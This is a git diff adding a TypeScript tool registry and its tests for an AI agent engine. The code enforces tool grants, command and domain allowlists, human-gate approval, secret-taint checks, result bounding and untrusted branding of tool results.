ctx({ gateApproved: false })), + ); + expect(err.reason).toBe('gate_required'); + }); + + it('allows git_commit once a gate approval is present', async () => { + const out = await registry().dispatch(call('git_commit', { message: 'x' }), ctx({ gateApproved: true })); + expect(out.events.result.success).toBe(true); + }); +}); + +/* --- config-only params + I/O mapping --- */ + +describe('ToolRegistry — config-only params and I/O mapping', () => { + it('merges config-only values last (a model arg cannot override) and strips them from events', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); + const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + call('run_command', { command: 'ls', cwd: '/evil' }), + ctx({ config: { parameters: { cwd: '/safe' } }, toolPolicy: { allowedCommands: ['ls'] } }), + ); + expect(spawn).toHaveBeenCalledWith('ls', [], {}, { cwd: '/safe', timeoutMs: undefined }, undefined); + expect(out.events.call.toolInput).not.toHaveProperty('cwd'); // config-only stripped from the event + }); + + it('applies output_mapping to the FULL result', async () => { + const out = await registry().dispatch( + call('run_command', { command: 'ls' }), + ctx({ config: { outputMapping: { code: 'exitCode', text: 'stdout' } }, toolPolicy: { allowedCommands: ['ls'] } }), + ); + expect(out.output).toEqual({ code: 0, text: 'ok' }); + }); + + it('web_search uses the config-pinned endpoint + credentialRef (never the raw key in args/events)', async () => { + const fetch = vi.fn<(req: EgressRequest, signal?: AbortSignalLike) => Promise>(() => + Promise.resolve({ status: 200, headers: {}, body: '[]' }), + ); + const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ egress: { fetch } }) }).dispatch( + call('web_search', { query: 'hello world' }), + ctx({ config: { parameters: { endpoint: 'https://search.example', credentialRef: 'ref-1' } } }), + ); + expect(fetch).toHaveBeenCalledOnce(); + const req = fetch.mock.calls[0]?.[0]; + expect(req?.url).toBe('https://search.example?q=hello%20world'); + expect(req?.credentialRef).toBe('ref-1'); + expect(out.events.call.toolInput).toEqual({ query: 'hello world' }); // endpoint/credentialRef stripped + }); +}); + +/* --- capability availability + execution + cancellation --- */ + +describe('ToolRegistry — host capability, execution, cancellation', () => { + it('surfaces a missing capability as a typed (internal) error, not execution_failed', async () => { + const processOnly: ToolHost = { + process: { spawn: () => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 0 }) }, + }; + const err = await rejectsWith( + createToolRegistry({ tools: BUILTIN_TOOLS, host: processOnly }).dispatch(call('read_file', { path: 'a' }), ctx()), + ); + expect(err).toBeInstanceOf(ToolUnavailableError); + expect(err.capability).toBe('fs'); + expect(err.runErrorCode).toBe('internal'); + }); + + it('wraps a host throw as a retryable execution error', async () => { + const host = stubHost({ fs: fsWith(() => Promise.reject(new Error('disk gone'))) }); + const err = await rejectsWith( + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch(call('read_file', { path: 'a' }), ctx()), + ); + expect(err).toBeInstanceOf(ToolExecutionError); + expect(err.runErrorCode).toBe('tool_failed'); + expect(err.retryable).toBe(true); + }); + + it('refuses to start when the signal is already aborted', async () => { + const err = await rejectsWith( + registry().dispatch(call('read_file', { path: 'a' }), ctx({ signal: { aborted: true } as never })), + ); + expect(err).toBeInstanceOf(ToolCancelledError); + expect(err.runErrorCode).toBe('cancelled'); + }); + + it('routes an AbortError host throw to the cancellation path, not tool_failed', async () => { + const abortErr = Object.assign(new Error('aborted'), { name: 'AbortError' }); + const host = stubHost({ fs: fsWith(() => Promise.reject(abortErr)) }); + const err = await rejectsWith( + createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch(call('read_file', { path: 'a' }), ctx()), + ); + expect(err).toBeInstanceOf(ToolCancelledError); + }); +}); + +/* --- result bounding --- */ + +describe('ToolRegistry — model-facing result bounding', () => { + it('truncates the model-facing result while output_mapping keeps the full value', async () => { + const big = 'z'.repeat(5000); + const host = stubHost({ + fs: fsWith(() => Promise.resolve({ content: big, mimeType: 'text/plain', sizeBytes: 5000, lastModified: 't' })), + }); + const out = await createToolRegistry({ tools: BUILTIN_TOOLS, host }).dispatch( + call('read_file', { path: 'a' }), + ctx({ limits: { maxBytes: 100, maxLines: 5 } }), + ); + expect(out.truncated).toBe(true); + expect(String(unwrapUntrusted(out.toolResult).result)).toContain('spill://1'); + // output_mapping sees the FULL result, not the preview: + expect((out.output as { content: string }).content).toBe(big); + }); +}); + +/* --- os + orchestration tools --- */ + +describe('ToolRegistry — os and orchestration tools', () => { + it('read_clipboard returns the clipboard text', async () => { + const out = await registry().dispatch(call('read_clipboard', {}), ctx()); + expect(out.output).toBe('clip'); + }); + + it('notify acknowledges delivery', async () => { + const out = await registry().dispatch(call('notify', { title: 't', body: 'b' }), ctx()); + expect(out.output).toEqual({ delivered: true }); + }); + + it('mcp_call dispatches through the mcp capability', async () => { + const out = await registry().dispatch(call('mcp_call', { server: 's', tool: 't', args: { a: 1 } }), ctx()); + expect(out.output).toEqual({ ok: true }); + }); + + it('invoke_agent delegates to ctx.invokeAgent', async () => { + const invokeAgent = vi.fn(() => Promise.resolve({ delegated: true })); + const out = await registry().dispatch(call('invoke_agent', { nodeId: 'n2', input: { x: 1 } }), ctx({ invokeAgent })); + expect(invokeAgent).toHaveBeenCalledWith('n2', { x: 1 }); + expect(out.output).toEqual({ delegated: true }); + }); + + it('invoke_agent without a delegate is a typed unavailable error', async () => { + const err = await rejectsWith(registry().dispatch(call('invoke_agent', { nodeId: 'n2' }), ctx())); + expect(err).toBeInstanceOf(ToolUnavailableError); + expect(err.capability).toBe('invokeAgent'); + }); +}); + +describe('ToolRegistry — policy parsing edge cases', () => { + it('extracts a bracketed IPv6 host for the allowlist check', async () => { + const out = await registry().dispatch( + call('http_request', { url: 'https://[::1]:8443/x' }), + ctx({ toolPolicy: { allowedDomains: ['::1'] } }), + ); + expect(out.events.result.success).toBe(true); + }); + + it('honors a `?` single-char glob in allowedCommandGlobs', async () => { + const out = await registry().dispatch( + call('run_command', { command: 'ls' }), + ctx({ toolPolicy: { allowedCommandGlobs: ['l?'] } }), + ); + expect(out.events.result.success).toBe(true); + }); + + it('yields undefined for an output_mapping path that misses', async () => { + const out = await registry().dispatch( + call('run_command', { command: 'ls' }), + ctx({ config: { outputMapping: { missing: 'a.b.c' } }, toolPolicy: { allowedCommands: ['ls'] } }), + ); + expect(out.output).toEqual({ missing: undefined }); + }); +}); diff --git a/packages/core/src/tools/registry.ts b/packages/core/src/tools/registry.ts new file mode 100644 index 00000000..25168c1e --- /dev/null +++ b/packages/core/src/tools/registry.ts @@ -0,0 +1,404 @@ +/** + * The engine-side `ToolRegistry` + dispatch (1.T). Pure: it owns tool POLICY + DISPATCH and performs + * every side effect through the injected {@link ToolHost} (ADR-0037). The dispatch lifecycle's order is + * security-load-bearing — the effective argument set is assembled and validated BEFORE the guardrail + * checks, so a `tool` node (whose args come entirely from `input_mapping`, no model args) cannot bypass + * the allowlist by being checked before its args exist. The canonical contract is + * [tool-registry.md](../../../../docs/reference/shared-core/tool-registry.md). + */ + +import { boundForModel } from './bounding.js'; +import { + ToolArgsInvalidError, + ToolCancelledError, + ToolDispatchError, + ToolExecutionError, + ToolPolicyError, + UnknownToolError, +} from './errors.js'; +import { markUntrusted } from './untrusted.js'; +import { + DEFAULT_TOOL_RESULT_LIMITS, + type CreateToolRegistryOptions, + type ToolCallPart, + type ToolDef, + type ToolDispatchContext, + type ToolDispatchOutcome, + type ToolHost, + type ToolId, + type ToolResultPart, +} from './types.js'; + +/** Build the engine-side tool registry. Performs no I/O and reads no ambient state (engine purity). */ +export function createToolRegistry(options: CreateToolRegistryOptions): { + dispatch(toolCall: ToolCallPart, ctx: ToolDispatchContext): Promise; + has(id: ToolId): boolean; + list(): readonly ToolId[]; +} { + const tools = new Map(); + for (const def of options.tools) { + if (tools.has(def.id)) { + throw new Error(`duplicate tool id \`${def.id}\` registered`); + } + tools.set(def.id, def); + } + const host = options.host; + + return { + has: (id) => tools.has(id), + list: () => [...tools.keys()].sort(), + dispatch: (toolCall, ctx) => dispatch(tools, host, toolCall, ctx), + }; +} + +async function dispatch( + tools: ReadonlyMap, + host: ToolHost, + toolCall: ToolCallPart, + ctx: ToolDispatchContext, +): Promise { + throwIfAborted(ctx, undefined); + + // A provider-executed tool_call is NOT dispatched by the engine (content.ts; ADR-0030/0029) — the + // engine never runs it or applies its allowlist. Surfacing it here is a caller bug. + if (toolCall.providerExecuted === true) { + throw new ToolPolicyError( + toolCall.name, + 'not_granted', + `tool \`${toolCall.name}\` is provider-executed and is not dispatched by the engine`, + ); + } + + // 1. Resolve by exact id, then check the node grant (registered ≠ authorized). + const def = tools.get(toolCall.name); + if (def === undefined) { + throw new UnknownToolError(toolCall.name, [...tools.keys()]); + } + if (!ctx.grantedToolIds.has(def.id)) { + throw new ToolPolicyError( + def.id, + 'not_granted', + `tool \`${def.id}\` is not granted to node \`${ctx.nodeId}\``, + ); + } + + // 2. Assemble the effective argument set (model args + input_mapping + config-only, config wins). + const effective = assembleArgs(def, toolCall.args, ctx); + + // 3. Validate the COMPLETE effective set: secret-taint first (ADR-0029(c)), then the tool's validator. + assertNoTaintedArgs(def.id, effective, ctx.secretArgKeys); + let args: unknown; + try { + args = def.parseArgs(effective); + } catch (cause) { + throw toArgsInvalid(def.id, cause); + } + + // 4. Enforce the guardrail policy on the EFFECTIVE args (the resolved command/URL is now real). + enforcePolicy(def, args, ctx); + + // 5. The single side effect. An AbortSignal-origin failure is the cancellation path, not tool_failed. + let output: unknown; + try { + throwIfAborted(ctx, def.id); + output = await def.dispatch(args, host, ctx); + } catch (cause) { + if (isAbort(cause, ctx)) { + throw new ToolCancelledError(def.id, cause); + } + if (cause instanceof ToolDispatchError) { + throw cause; // a typed error from dispatch (e.g. ToolUnavailableError) passes through + } + throw new ToolExecutionError(def.id, `tool \`${def.id}\` failed`, cause); + } + + // 6. output_mapping runs on the FULL result → workflow state keeps the real value. + const outputMapped = applyOutputMapping(output, ctx.config.outputMapping); + + // 7. Bound the MODEL-FACING result (the full result is untouched above). + const limits = ctx.limits ?? DEFAULT_TOOL_RESULT_LIMITS; + const bounded = await boundForModel(output, limits, host, ctx.signal); + + // 8. Brand the model-facing result untrusted + shape the sanitized event payloads. + const toolResult: ToolResultPart = { + type: 'tool_result', + toolCallId: toolCall.id, + result: bounded.value, + }; + return { + output: outputMapped, + toolResult: markUntrusted(toolResult), + truncated: bounded.truncated, + events: { + call: { toolId: def.id, toolInput: sanitizeInput(def, effective, ctx.secretArgKeys) }, + result: { toolId: def.id, success: true, outputSummary: bounded.summary }, + }, + }; +} + +/* ------------------------------------------------------------------------------------------------ * + * Step 2 — effective args. Precedence: model args (base) < input_mapping (author-wired) < config-only. + * ------------------------------------------------------------------------------------------------ */ + +function assembleArgs( + def: ToolDef, + modelArgs: unknown, + ctx: ToolDispatchContext, +): Record { + const effective: Record = isRecord(modelArgs) ? { ...modelArgs } : {}; + const mapping = ctx.config.inputMapping; + if (mapping !== undefined) { + for (const [key, value] of Object.entries(mapping)) { + effective[key] = value; + } + } + const params = ctx.config.parameters; + if (def.configOnlyParams !== undefined && params !== undefined) { + for (const key of def.configOnlyParams) { + if (Object.prototype.hasOwnProperty.call(params, key)) { + effective[key] = params[key]; + } + } + } + return effective; +} + +/* ------------------------------------------------------------------------------------------------ * + * Step 3 — secret taint (ADR-0029(c), re-applied on the effective set) + arg validation. + * ------------------------------------------------------------------------------------------------ */ + +function assertNoTaintedArgs( + toolId: ToolId, + effective: Record, + secretArgKeys: ReadonlySet | undefined, +): void { + if (secretArgKeys === undefined || secretArgKeys.size === 0) { + return; + } + const tainted = Object.keys(effective).filter((key) => secretArgKeys.has(key)); + if (tainted.length > 0) { + throw new ToolArgsInvalidError( + toolId, + tainted.sort(), + `tool \`${toolId}\`: a secret-typed value cannot flow into tool arguments (${tainted + .sort() + .join(', ')}) — use a credential reference (ADR-0029)`, + ); + } +} + +function toArgsInvalid(toolId: ToolId, cause: unknown): ToolArgsInvalidError { + const fields = zodIssuePaths(cause); + const where = fields.length > 0 ? ` (${fields.join(', ')})` : ''; + return new ToolArgsInvalidError(toolId, fields, `tool \`${toolId}\`: invalid arguments${where}`, cause); +} + +/** Extract field paths from a ZodError-shaped cause — names only, never the received value. */ +function zodIssuePaths(cause: unknown): readonly string[] { + if (!isRecord(cause)) { + return []; + } + const issues = cause['issues']; + if (!Array.isArray(issues)) { + return []; + } + const paths = new Set(); + for (const issue of issues) { + if (isRecord(issue)) { + const path = issue['path']; + if (Array.isArray(path)) { + paths.add(path.map((segment: unknown) => String(segment)).join('.') || '(root)'); + } + } + } + return [...paths].sort(); +} + +/* ------------------------------------------------------------------------------------------------ * + * Step 4 — guardrail policy on the effective args. + * ------------------------------------------------------------------------------------------------ */ + +function enforcePolicy(def: ToolDef, args: unknown, ctx: ToolDispatchContext): void { + if (def.policy.requiresGateApproval && !ctx.gateApproved) { + throw new ToolPolicyError( + def.id, + 'gate_required', + `tool \`${def.id}\` requires a human-gate approval in an automated workflow`, + ); + } + + const target = def.policyTarget?.(args) ?? {}; + + if (def.policy.spawnsProcess && target.command !== undefined) { + if (!commandAllowed(target.command, ctx.toolPolicy)) { + throw new ToolPolicyError( + def.id, + 'command_not_allowed', + `tool \`${def.id}\`: command not in the allowedCommands allowlist`, + ); + } + } + + if (def.policy.egress === 'http' && target.url !== undefined) { + enforceHttpEgress(def.id, target.url, ctx); + } + // egress 'search' / 'mcp' reach a CONFIGURED provider/server (not an allowedDomains allowlist); the + // SSRF range-block runs inside the host egress capability (1.AE). No engine allowlist check here. +} + +function commandAllowed( + command: string, + policy: import('@relavium/shared').ToolPolicy, +): boolean { + const exact = policy.allowedCommands ?? []; + if (exact.includes(command)) { + return true; // exact match (ADR-0029(a)) — `git` never authorizes `git push --force` + } + for (const glob of policy.allowedCommandGlobs ?? []) { + if (globMatch(glob, command)) { + return true; // opt-in glob + } + } + return false; // empty/absent ⇒ deny-all (symmetry with allowedDomains) +} + +function enforceHttpEgress(toolId: ToolId, url: string, ctx: ToolDispatchContext): void { + const parsed = extractHttpsHost(url); + if (parsed === null || parsed.hasCredentials) { + throw new ToolPolicyError( + toolId, + 'insecure_url', + `tool \`${toolId}\`: outbound URL must be HTTPS without embedded credentials`, + ); + } + const allowed = ctx.toolPolicy.allowedDomains ?? []; + if (!allowed.includes(parsed.host)) { + throw new ToolPolicyError( + toolId, + 'domain_not_allowed', + `tool \`${toolId}\`: host not in the allowedDomains allowlist`, + ); + } + // The SSRF range-block (private/loopback/link-local/metadata) + connect-pinning is the host egress + // capability's job (the one shared primitive, 1.AE) — never re-implemented in the pure engine. +} + +/** + * Extract the lowercased FQDN host from an HTTPS URL with pure string parsing (no `URL` global — the + * engine-purity `lib` has no DOM). Returns null for a non-HTTPS URL. This is the exact-FQDN POLICY + * half only; the SSRF range-block is the host's job. + */ +function extractHttpsHost(url: string): { host: string; hasCredentials: boolean } | null { + const match = /^https:\/\/([^/?#]+)/i.exec(url); + if (match === null) { + return null; + } + let authority = match[1] ?? ''; + let hasCredentials = false; + const at = authority.lastIndexOf('@'); + if (at !== -1) { + hasCredentials = true; + authority = authority.slice(at + 1); + } + let host: string; + if (authority.startsWith('[')) { + const end = authority.indexOf(']'); + host = end === -1 ? authority : authority.slice(1, end); // IPv6 literal + } else { + const colon = authority.indexOf(':'); + host = colon === -1 ? authority : authority.slice(0, colon); + } + return { host: host.toLowerCase(), hasCredentials }; +} + +/** A minimal, well-bounded glob: `*` (any run) and `?` (one char), everything else literal, full match. */ +function globMatch(glob: string, value: string): boolean { + let pattern = '^'; + for (const ch of glob) { + if (ch === '*') { + pattern += '.*'; + } else if (ch === '?') { + pattern += '.'; + } else { + pattern += ch.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + } + } + pattern += '$'; + return new RegExp(pattern).test(value); +} + +/* ------------------------------------------------------------------------------------------------ * + * Step 6 — output_mapping (full result → workflow-state projection). + * ------------------------------------------------------------------------------------------------ */ + +function applyOutputMapping( + full: unknown, + mapping: Readonly> | undefined, +): unknown { + if (mapping === undefined) { + return full; + } + const out: Record = {}; + for (const [stateKey, path] of Object.entries(mapping)) { + out[stateKey] = readPath(full, path); + } + return out; +} + +/** Read a simple dot-path (`a.b.c`) from a value; undefined when any segment is absent. */ +function readPath(value: unknown, path: string): unknown { + if (path === '') { + return value; + } + let cursor = value; + for (const segment of path.split('.')) { + if (!isRecord(cursor)) { + return undefined; + } + cursor = cursor[segment]; + } + return cursor; +} + +/* ------------------------------------------------------------------------------------------------ * + * Step 8 — event-input sanitization (config-only + secret-tainted keys removed). The bus does final + * generic masking (ADR-0036); this strips the tool-aware sensitive fields only the registry knows. + * ------------------------------------------------------------------------------------------------ */ + +function sanitizeInput( + def: ToolDef, + effective: Record, + secretArgKeys: ReadonlySet | undefined, +): Readonly> { + const out: Record = { ...effective }; + for (const key of def.configOnlyParams ?? []) { + delete out[key]; + } + if (secretArgKeys !== undefined) { + for (const key of secretArgKeys) { + delete out[key]; + } + } + return out; +} + +/* ------------------------------------------------------------------------------------------------ * + * Cancellation + small guards. + * ------------------------------------------------------------------------------------------------ */ + +function throwIfAborted(ctx: ToolDispatchContext, toolId: ToolId | undefined): void { + if (ctx.signal?.aborted === true) { + throw new ToolCancelledError(toolId); + } +} + +function isAbort(cause: unknown, ctx: ToolDispatchContext): boolean { + if (ctx.signal?.aborted === true) { + return true; + } + return cause instanceof Error && cause.name === 'AbortError'; +} + +function isRecord(value: unknown): value is Record { + return typeof value === 'object' && value !== null && !Array.isArray(value); +} diff --git a/packages/core/src/tools/types.ts b/packages/core/src/tools/types.ts new file mode 100644 index 00000000..4751ecd7 --- /dev/null +++ b/packages/core/src/tools/types.ts @@ -0,0 +1,324 @@ +/** + * The engine-side tool-execution contract (1.T) — the `ToolDef` registry shape, the host-injected + * `ToolHost` capability seam, the per-dispatch context, and the dispatch outcome. The canonical home + * for these shapes is [tool-registry.md](../../../../docs/reference/shared-core/tool-registry.md); the + * decision is ADR-0037. The rule that shapes everything here: `@relavium/core` has zero + * platform-specific imports (CLAUDE.md rule 5), so the engine owns tool **policy + dispatch** (pure) + * and performs every side effect through an injected `ToolHost` — the same purity seam as + * `ResolverCapabilities` (1.L2) and the injected HTTP transport (ADR-0018). + */ + +import type { AbortSignalLike, ContentPart } from '@relavium/shared'; + +import type { Untrusted } from './untrusted.js'; + +/** A canonical, engine-executed tool-call content part (the `provider_executed` arm is never dispatched). */ +export type ToolCallPart = Extract; +/** A canonical tool-result content part — `media` carries durable handles (ADR-0031), never raw bytes. */ +export type ToolResultPart = Extract; + +/** Exact-match registry key. Built-ins use the fixed catalog ids; MCP/plugin tools register dynamically. */ +export type ToolId = string; +/** Where a registered tool comes from (mirrors `tool_config.tool_source`, node-types.md). */ +export type ToolSource = 'builtin' | 'mcp' | 'plugin'; + +/** + * A JSON-Schema object carried as data — the LLM-visible projection the `ToolNormalizer` (1.E, in + * `@relavium/llm`) lowers to each provider's wire shape. The engine never interprets it; it only + * forwards it, so a structural record is the right carrier here (the seam types it as `JSONSchema7`). + */ +export type JsonSchema = Readonly>; + +/** The three outbound paths have different policies (ADR-0029(d)); the kind discriminates them. */ +export type EgressKind = 'http' | 'search' | 'mcp'; + +/** A tool's guardrail/capability classification — drives the engine's pre-dispatch policy checks. */ +export interface ToolPolicyClass { + /** Needs the FS scope tier — `read_file`, `write_file`, `list_directory`. */ + readonly fsScoped: boolean; + /** Spawns an OS process under the `allowedCommands` allowlist — `run_command`, `git_*`. */ + readonly spawnsProcess: boolean; + /** Outbound egress, discriminated by kind — `http_request` / `web_search` / `mcp_call`. */ + readonly egress?: EgressKind; + /** Requires a human-gate approval in an automated workflow before it may execute — `git_commit`. */ + readonly requiresGateApproval: boolean; +} + +/* ------------------------------------------------------------------------------------------------ * + * The ToolHost capability seam — the engine's only path to a side effect. Each capability is + * OPTIONAL: a tool whose capability is absent fails with a typed `ToolUnavailableError`, never a + * crash and never a platform import sneaking into the engine. + * ------------------------------------------------------------------------------------------------ */ + +export interface FileRead { + readonly content: string; + readonly mimeType: string; + readonly sizeBytes: number; + readonly lastModified: string; + /** Durable media handle(s) when the file is binary/media (ADR-0031) — never inline base64 in `content`. */ + readonly media?: ToolResultPart['media']; +} +export interface FileWritten { + readonly path: string; + readonly bytesWritten: number; +} +export interface DirEntry { + readonly name: string; + readonly type: 'file' | 'directory'; + readonly sizeBytes: number; + readonly lastModified: string; +} +export interface DirListing { + readonly entries: readonly DirEntry[]; +} +export interface ProcessResult { + readonly exitCode: number; + readonly stdout: string; + readonly stderr: string; + readonly durationMs: number; +} +export interface EgressRequest { + readonly method: 'GET' | 'POST' | 'PUT' | 'DELETE'; + readonly url: string; + // `| undefined` on the optional fields: these are forwarded from optional tool args, so the engine + // passes the value through verbatim (the exactOptionalPropertyTypes pass-through idiom). + readonly headers?: Readonly> | undefined; + readonly body?: string | undefined; + /** + * An OPAQUE secret-store reference (a `web_search` provider key, an auth header value) the host + * resolves and attaches INSIDE its trusted boundary — the ADR-0006/0018 key-reference pattern. The + * raw secret never enters the engine / WebView. + */ + readonly credentialRef?: string | undefined; +} +export interface EgressResponse { + readonly status: number; + readonly headers: Readonly>; + readonly body: string; +} + +export interface FsCapability { + readFile(path: string, opts: FsReadOpts, signal?: AbortSignalLike): Promise; + writeFile(path: string, data: string, opts: FsWriteOpts, signal?: AbortSignalLike): Promise; + listDirectory(path: string, opts: FsListOpts, signal?: AbortSignalLike): Promise; +} +// `| undefined` on these forwarded-from-optional-args fields (exactOptionalPropertyTypes pass-through). +export interface FsReadOpts { + readonly glob?: boolean | undefined; +} +export interface FsWriteOpts { + readonly append?: boolean | undefined; + readonly createDirs?: boolean | undefined; +} +export interface FsListOpts { + readonly recursive?: boolean | undefined; + readonly glob?: string | undefined; +} + +export interface ProcessCapability { + /** + * Spawn an already-allowlist-checked command with `shell: false`. The HOST resolves the executable + * (platform PATH lookup) and supplies the platform-minimal base env, merging ONLY `declaredEnv` + * under an audited allowlist — never the full ambient `process.env`. The engine cannot build a + * platform base env (it is platform-free), so env construction is the host's job; the engine + * supplies the policy (the allowlist-checked command + the declared vars). stdout/stderr are + * untrusted. + */ + spawn( + command: string, + args: readonly string[], + declaredEnv: Readonly>, + opts: SpawnOpts, + signal?: AbortSignalLike, + ): Promise; +} +export interface SpawnOpts { + readonly cwd?: string | undefined; + readonly timeoutMs?: number | undefined; +} + +export interface EgressCapability { + /** + * Perform an outbound HTTPS request the engine has ALREADY policy-checked (per egress kind). The + * host MUST run the one shared SSRF range-primitive (block private/loopback/link-local/metadata/ + * CGNAT; DNS-resolve + connect-by-validated-IP + per-hop-redirect-revalidate — security-review.md) + * and resolve any `credentialRef` host-side. Ships feature-flag-OFF until the primitive lands (1.AE). + */ + fetch(request: EgressRequest, signal?: AbortSignalLike): Promise; +} + +export interface OsCapability { + readClipboard(signal?: AbortSignalLike): Promise; + notify(input: NotifyInput, signal?: AbortSignalLike): Promise; +} +export interface NotifyInput { + readonly title: string; + readonly body: string; +} + +export interface McpCapability { + call(input: McpCallInput, signal?: AbortSignalLike): Promise; +} +export interface McpCallInput { + readonly server: string; + readonly tool: string; + readonly args: unknown; +} + +/** A run-scoped store for over-ceiling result spill — reclaimed at the run's terminal event. */ +export interface ToolOutputStore { + spill(text: string, limits: ToolResultLimits, signal?: AbortSignalLike): Promise; +} +export interface SpilledResult { + /** A path/handle to the full spilled output, handed to the model + readable via the FS-scoped tools. */ + readonly ref: string; + readonly byteLength: number; +} + +/** The injected capability bundle. A sibling seam to ADR-0036's `ExecutionHost` and `ResolverCapabilities`. */ +export interface ToolHost { + readonly fs?: FsCapability; + readonly process?: ProcessCapability; + readonly egress?: EgressCapability; + readonly os?: OsCapability; + readonly mcp?: McpCapability; + readonly outputStore?: ToolOutputStore; +} + +/* ------------------------------------------------------------------------------------------------ * + * The model-facing result bounding (the deferred tool-output-gate). Bounds the result that re-enters + * the next LlmRequest; `output_mapping` always sees the FULL result (tool-registry.md). + * ------------------------------------------------------------------------------------------------ */ + +export interface ToolResultLimits { + /** Byte ceiling for the model-facing result; over ⇒ spill + preview. */ + readonly maxBytes: number; + /** Line ceiling for the model-facing result; over ⇒ spill + preview. */ + readonly maxLines: number; +} + +/** v1.0 defaults (built-in-tools.md §Tool result bounding) — tunable, byte/line (no token count). */ +export const DEFAULT_TOOL_RESULT_LIMITS: ToolResultLimits = { maxBytes: 50 * 1024, maxLines: 2000 }; + +/* ------------------------------------------------------------------------------------------------ * + * Dispatch context + ToolDef + outcome. + * ------------------------------------------------------------------------------------------------ */ + +/** The resolved tool/agent config block (node-types.md `tool_config`/`agent_config`) for a dispatch. */ +export interface ToolNodeConfig { + /** Config-pinned parameter VALUES merged at dispatch (config wins; never LLM-visible). */ + readonly parameters?: Readonly>; + /** Workflow-state → tool-arg wiring (the values are already resolved upstream). */ + readonly inputMapping?: Readonly>; + /** Tool-result → workflow-state wiring (key paths). Applied to the FULL result. */ + readonly outputMapping?: Readonly>; +} + +export interface ToolDispatchContext { + readonly nodeId: string; + /** The node's narrowed grant (ADR-0029(b)); a dispatch outside it is refused (registered ≠ authorized). */ + readonly grantedToolIds: ReadonlySet; + /** The resolved `tool_config`/`agent_config` block — config-only VALUES + the I/O mappings. */ + readonly config: ToolNodeConfig; + /** The resolved workflow tool policy — `allowedCommands` / `allowedCommandGlobs` / `allowedDomains`. */ + readonly toolPolicy: import('@relavium/shared').ToolPolicy; + /** The active filesystem scope tier (built-in-tools.md). */ + readonly fsScope: FsScopeTier; + /** A human-gate decision is present for this dispatch (1.Q) — required by `git_commit`. */ + readonly gateApproved: boolean; + /** Names of effective-arg keys that are secret-tainted (ADR-0029(c)) — rejected from non-credential args. */ + readonly secretArgKeys?: ReadonlySet; + /** Engine delegate for `invoke_agent` — pure orchestration, not a ToolHost I/O capability. */ + readonly invokeAgent?: (nodeId: string, input: unknown) => Promise; + /** The model-facing result-bounding ceilings. */ + readonly limits?: ToolResultLimits; + readonly signal?: AbortSignalLike; +} + +export type FsScopeTier = 'sandboxed' | 'project-scoped' | 'full'; + +export interface ToolDef { + readonly id: ToolId; + readonly source: ToolSource; + readonly description: string; + /** + * The EXECUTABLE args validator AND the source of truth for the parameter shape (a Zod `parse`). + * Validates the COMPLETE effective argument set (model + input_mapping + config-only), throwing on a + * miss. A bare JSON Schema is data, not a validator — it can never gate dispatch. + */ + parseArgs(raw: unknown): Args; + /** The LLM-VISIBLE projection lowered by the ToolNormalizer — excludes every `configOnlyParams` entry. */ + readonly llmVisibleParams: JsonSchema; + /** Names of config-pinned params (values from `ctx.config.parameters`); never LLM-visible. */ + readonly configOnlyParams?: readonly string[]; + readonly policy: ToolPolicyClass; + /** + * Tells the registry WHERE this tool's guardrail target lives in the effective args, so the engine + * enforces the allowlist generically without guessing a field. A `spawnsProcess` tool returns the + * resolved `command` string (the full string the `allowedCommands` allowlist matches exactly); an + * `http` egress tool returns the `url`. A pre-approved tool (e.g. `git_status`) returns neither and + * the generic allowlist check is skipped. Omitted ⇒ no target (e.g. `os` / delegate tools). + */ + readonly policyTarget?: (args: Args) => PolicyTarget; + /** + * Pure dispatcher: validated+merged effective args in, the FULL result out. Side effects ONLY via + * `host`; never imports `node:*`/`fetch`. Threads `ctx.signal`. Bounding/taint/mapping are applied + * by the registry AFTER this returns, so the full result reaches workflow state intact. + */ + dispatch(args: Args, host: ToolHost, ctx: ToolDispatchContext): Promise; +} + +/** What the registry's guardrail check inspects for a tool — a resolved command and/or an outbound URL. */ +export interface PolicyTarget { + /** The resolved command string the `allowedCommands` allowlist matches EXACTLY (ADR-0029(a)). */ + readonly command?: string; + /** The outbound URL the `allowedDomains` exact-FQDN allowlist + SSRF policy applies to (ADR-0029(d)). */ + readonly url?: string; +} + +/** The engine-side registry + dispatcher. One instance, shared by both entry points (1.O / 1.V). */ +export interface ToolRegistry { + /** Resolve, validate, guard, dispatch, bound, and taint a tool call. See the lifecycle in tool-registry.md. */ + dispatch(toolCall: ToolCallPart, ctx: ToolDispatchContext): Promise; + /** Whether a tool id is registered (exact match). Registered ≠ authorized — the grant is checked per dispatch. */ + has(id: ToolId): boolean; + /** The registered tool ids (sorted) — used to list available tools in an `UnknownToolError`. */ + list(): readonly ToolId[]; +} + +export interface CreateToolRegistryOptions { + readonly tools: readonly ToolDef[]; + readonly host: ToolHost; +} + +/** Sanitized event data for the bus's single translation point (ADR-0036); it adds the envelope. */ +export interface ToolCallEventData { + readonly toolId: ToolId; + /** The LLM-visible args with config-only + secret-tainted keys removed (no secrets). */ + readonly toolInput: Readonly>; +} +export interface ToolResultEventData { + readonly toolId: ToolId; + readonly success: boolean; + /** A truncated, display-only summary string (distinct from the model-facing bounded result). */ + readonly outputSummary: string; +} + +export interface ToolDispatchOutcome { + /** + * The value the engine binds to workflow state — the FULL result projected through `output_mapping` + * (or the full result when no mapping). Never the bounded model-facing preview, so a downstream node + * gets the real value. + */ + readonly output: unknown; + /** + * The model-facing tool_result content part — BOUNDED and **branded untrusted**: 1.O must + * {@link Untrusted | unwrap} it to place it in a `user`/`tool` position, never `system` + * (security-review.md §Prompt-injection). The brand makes the unsafe path unrepresentable. + */ + readonly toolResult: Untrusted; + /** Whether the model-facing result was truncated (full output spilled to `outputStore`). */ + readonly truncated: boolean; + /** Sanitized payloads the bus envelopes into `agent:tool_call` / `agent:tool_result`. */ + readonly events: { readonly call: ToolCallEventData; readonly result: ToolResultEventData }; +} diff --git a/packages/core/src/tools/untrusted.test.ts b/packages/core/src/tools/untrusted.test.ts new file mode 100644 index 00000000..fbdfcba0 --- /dev/null +++ b/packages/core/src/tools/untrusted.test.ts @@ -0,0 +1,23 @@ +import { describe, expect, it } from 'vitest'; + +import { isUntrusted, markUntrusted, unwrapUntrusted 